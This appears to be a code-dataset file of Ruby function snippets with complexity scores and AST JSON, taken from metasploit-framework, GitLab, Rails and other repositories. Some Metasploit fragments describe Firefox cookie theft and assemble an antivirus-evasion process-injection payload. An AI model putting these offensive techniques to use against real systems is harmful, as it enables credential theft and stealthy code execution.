end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"colors_hashes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color_scheme_colors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"hex\"]}]}]}]}]}","id":"77481439-24c4-4e92-8179-d586f3ed5108"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/report_auth_info.rb","start_line":283,"raw_source":"def test_squiz_matrix_user_enum\n mod = framework.auxiliary.create('scanner/http/squiz_matrix_user_enum')\n mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', proof: FAKE_PROOF)\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_squiz_matrix_user_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"auxiliary\"]},\"create\",{\"type\":\"str\",\"children\":[\"scanner/http/squiz_matrix_user_enum\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_IP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PORT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PROOF\"]}]}]}]}]}]}","id":"29b424a3-ed4a-4347-a84f-328ce8c7074f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/firefox/gather/cookies.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Firefox Gather Cookies from Privileged JavaScript Shell',\n 'Description' => %q{\n This module allows collection of cookies from a Firefox Privileged JavaScript Shell.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'joev' ],\n 'DisclosureDate' => '2014-03-26',\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n\n register_options([\n OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])\n ])\n end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Firefox Gather Cookies from Privileged JavaScript Shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module allows collection of cookies from a Firefox Privileged JavaScript Shell.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-03-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Maximum time (seconds) to wait for a response\"]},{\"type\":\"int\",\"children\":[90]}]}]}]}]}]}]}","id":"bd493aad-5821-45dc-bc95-f5702bb92b72"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/label.rb","start_line":41,"raw_source":"def messages\n account.messages.where(conversation_id: conversations.pluck(:id))\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"messages\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversations\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"dfb4e9cd-ee25-4155-b7a8-b125c74e4974"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rhosts_walker.rb","start_line":364,"raw_source":"def parse_ssh_uri(value, datastore)\n uri = ::Addressable::URI.parse(value)\n result = {}\n\n result['RHOSTS'] = uri.hostname\n result['RPORT'] = uri.port || 22\n\n set_hostname(datastore, result, uri.hostname)\n set_username(datastore, result, uri.user) if uri.user\n set_password(datastore, result, uri.password) if uri.password\n\n result\n end","complexity_score":19.38,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_ssh_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"datastore\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]},{\"type\":\"int\",\"children\":[22]}]}]},{\"type\":\"send\",\"children\":[null,\"set_hostname\",{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"hostname\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"user\"]},{\"type\":\"send\",\"children\":[null,\"set_username\",{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"user\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"password\"]},{\"type\":\"send\",\"children\":[null,\"set_password\",{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"password\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"49723d00-2b2e-4f1f-9253-a6ec2206fe70"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":1056,"raw_source":"def test_last_action_in_multiple_before_action_chain_halts\n controller = ::FilterTest::TestMultipleFiltersController.new\n response = test_process(controller, \"fail_3\")\n assert_equal \"\", response.body\n assert_equal 3, controller.instance_variable_get(:@try)\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_last_action_in_multiple_before_action_chain_halts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FilterTest\"]},\"TestMultipleFiltersController\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"fail_3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@try\"]}]}]}]}]}","id":"2c973236-0b4a-4e81-a5e5-9808d3d3a7ba"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/moxa_discover.rb","start_line":64,"raw_source":"def scanner_process(response, src_host, _src_port)\n # The first byte of a response will always be the func code + 0x80\n # (the most significant bit of the byte is set to 1, so 0b00000001\n # becomes 0b10000001, or 0x81).\n # A valid response is 24 bytes, starts with 0x81, and contains the values\n # 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.\n return unless response[0] == \"\\x81\" && response[14..16] == \"\\x00\\x90\\xe8\" && response.length == 24\n\n @results[src_host] ||= []\n @results[src_host] << response\n end","complexity_score":13.25,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"src_host\"]},{\"type\":\"arg\",\"children\":[\"_src_port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src_host\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src_host\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"a7f1e94e-6daf-45f1-a9c2-7c82d328deb3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_cache.rb","start_line":40,"raw_source":"def fetch_without_caching_false(key, &block)\n value = read(key)\n return value if value\n\n value = yield\n\n # Don't cache false values\n write(key, value) if value\n\n value\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_without_caching_false\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"7e051e51-fa68-4af4-8060-d9636c808300"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb","start_line":215,"raw_source":"def track_mr_including_ci_config(user:, merge_request:)\n return unless merge_request.includes_ci_config?\n\n track_unique_action_by_user(MR_INCLUDING_CI_CONFIG_ACTION, user)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_mr_including_ci_config\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"includes_ci_config?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"track_unique_action_by_user\",{\"type\":\"const\",\"children\":[null,\"MR_INCLUDING_CI_CONFIG_ACTION\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"ed5e561f-3f5d-44ad-9c6d-d10f82786750"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/attachment.rb","start_line":79,"raw_source":"def metadata_for_file_type\n case file_type.to_sym\n when :location\n location_metadata\n when :fallback\n fallback_data\n when :contact\n contact_metadata\n when :audio\n audio_metadata\n else\n file_metadata\n end\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata_for_file_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_type\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"location_metadata\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback\"]},{\"type\":\"send\",\"children\":[null,\"fallback_data\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"send\",\"children\":[null,\"contact_metadata\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"audio\"]},{\"type\":\"send\",\"children\":[null,\"audio_metadata\"]}]},{\"type\":\"send\",\"children\":[null,\"file_metadata\"]}]}]}","id":"30dabbb6-94ad-40ae-8dad-460778e3d287"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/uuid_test.rb","start_line":48,"raw_source":"def test_uuid_column_default\n connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: \"gen_random_uuid()\"\n UUIDType.reset_column_information\n column = UUIDType.columns_hash[\"thingy\"]\n assert_equal \"gen_random_uuid()\", column.default_function\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uuid_column_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_column\",{\"type\":\"sym\",\"children\":[\"uuid_data_type\"]},{\"type\":\"sym\",\"children\":[\"thingy\"]},{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"gen_random_uuid()\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUIDType\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUIDType\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"thingy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"gen_random_uuid()\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"default_function\"]}]}]}]}","id":"cb947e4d-c82a-4550-885f-3d37c57724cd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/runner.rb","start_line":130,"raw_source":"def count_examples_only(args)\n args.unshift('--dry-run')\n out = StringIO.new\n err = StringIO.new\n\n total_examples = Tempfile.open('test-metadata.json') do |file|\n RSpec.configure { |config| config.add_formatter(QA::Support::JsonFormatter, file.path) }\n RSpec::Core::Runner.run(args.flatten, err, out).tap { |status| abort if status.nonzero? }\n\n JSON.load_file(file, symbolize_names: true).dig(:summary, :example_count)\n end\n\n puts total_examples\n rescue StandardError => e\n raise e, \"Failed to detect example count, error: '#{e}'.\\nOut: '#{out.string}'\\nErr: #{err.string}\"\n end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"count_examples_only\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"--dry-run\"]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_examples\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"open\",{\"type\":\"str\",\"children\":[\"test-metadata.json\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"add_formatter\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"JsonFormatter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"Runner\"]},\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten\"]},{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"nonzero?\"]},{\"type\":\"send\",\"children\":[null,\"abort\"]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"dig\",{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"sym\",\"children\":[\"example_count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"total_examples\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to detect example count, error: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\"'.\\nOut: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"string\"]}]},{\"type\":\"str\",\"children\":[\"'\\nErr: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"string\"]}]}]}]}]},null]}]}","id":"4447db1c-aad0-4f20-b4f7-44e954be00e9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/site_setting/policy/settings_are_unshadowed_globally.rb","start_line":20,"raw_source":"def validate_setting(setting_name)\n SiteSetting.shadowed_settings.include?(setting_name)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"shadowed_settings\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}","id":"3b6fec95-5097-4f2f-89e2-2090e459af1c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/evasion/windows/syscall_inject.rb","start_line":553,"raw_source":"def run\n @hash = rand 2**28..2**32 - 1\n comp_opts = '-masm=intel -w -mwindows '\n src = headers\n src << defines\n src << nt_alloc\n src << nt_close\n src << nt_create_thread\n src << nt_open_process\n src << nt_protect\n src << nt_write\n src << syscall_parser\n src << exec_func\n src << inject\n src << main\n # obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src\n path = Tempfile.new('main').path\n vprint_good \"Saving temporary source file in #{path}\"\n compile_opts =\n {\n strip_symbols: true,\n compile_options: comp_opts,\n f_name: path,\n opt_lvl: datastore['OptLevel']\n }\n generate_code src, compile_opts\n end","complexity_score":44.45,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hash\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[32]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comp_opts\",{\"type\":\"str\",\"children\":[\"-masm=intel -w -mwindows \"]}]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[null,\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"defines\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_alloc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_create_thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_open_process\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_protect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nt_write\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"syscall_parser\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"exec_func\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"inject\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"main\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"main\"]}]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saving temporary source file in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compile_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_symbols\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compile_options\"]},{\"type\":\"lvar\",\"children\":[\"comp_opts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f_name\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opt_lvl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OptLevel\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_code\",{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"compile_opts\"]}]}]}]}","id":"598e4e17-a8e5-45d9-a93c-ae7872b9646a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/command.rb","start_line":33,"raw_source":"def branch_exists?\n strong_memoize(:is_branch) do\n branch_ref? && project.repository.branch_exists?(ref)\n end\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"branch_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"is_branch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch_ref?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"branch_exists?\",{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]}]}]}","id":"c2384803-7f0f-417c-910a-1bc6d0b1a694"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/markdown_feature.rb","start_line":90,"raw_source":"def group_milestone\n @group_milestone ||= create(:milestone, name: 'group-milestone', group: group)\n 